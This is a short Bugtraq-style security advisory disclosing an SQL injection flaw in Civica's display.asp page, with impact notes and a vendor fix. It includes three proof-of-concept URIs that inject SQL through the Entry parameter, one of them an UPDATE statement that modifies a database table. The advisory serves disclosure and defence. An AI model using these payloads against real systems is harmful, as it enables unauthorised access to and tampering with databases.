Civica Display.ASP SQL Injection Vulnerability

Bugtraq ID:	20354
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 05 2006 12:00AM
Updated:	Feb 05 2008 10:46PM
Credit:	CodeXpLoder'tq is credited with the discovery of this vulnerability.
Vulnerable:	Civica Software Civica 0
Not Vulnerable:

Civica Display.ASP SQL Injection Vulnerability

Civica is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Civica Display.ASP SQL Injection Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,......

http://www.example.com/civica/press/display.asp?layout=1&Entry=1 having 1=1

http://www.example.com/civica/press/display.asp?layout=1&Entry=1,2,3,4,5,,,,,+upd
ate+prtReleases+set+isplayStyle='text';--

Civica Display.ASP SQL Injection Vulnerability

Solution:
The vendor released an update to address this issue. Please contact the vendor for information on how to obtain and apply this update.

Civica Display.ASP SQL Injection Vulnerability

References:

• Vendor Homepage (Civica Software)